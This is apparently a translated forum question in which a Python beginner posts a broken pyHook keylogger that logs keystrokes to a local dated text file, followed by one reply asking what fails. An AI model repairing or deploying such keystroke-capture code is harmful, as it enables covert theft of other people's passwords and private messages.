Я только начал программировать на Python. Мой первый «проект» - это кейлоггер. Я прочитал несколько строк кода, размещенных здесь и на других форумах. Я написал этот код, который должен записывать нажатые клавиши и начинать новую строку в файле .txt каждый раз, когда нажимается клавиша ввода. Может кто-нибудь, пожалуйста, дайте мне совет?Python Keylogger с некоторыми функциями
import pythoncom, pyHook
from datetime import datetime
date_today = datetime.now().strftime('%Y-%b-%d')
file_log = 'C:\\Users\\admin\\Desktop\\Python\\logs\\'+date_today+'.txt'
def OnKeyboardEvent(event):
if event.Ascii:
log = open(file_log,"a")
char = chr(event.Ascii)
if event.Ascii == 13:
log.write('\n')
log.write(char)
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent()
hm.HookKeyboard()
pythoncom.PumpMessages()
Спасибо и с наилучшими пожеланиями!
Edit: Файл не кажется, чтобы начать, как не новый процесс или файл журнала создается при запуске
Рекомендации по чему? Что-то не работает? – TigerhawkT3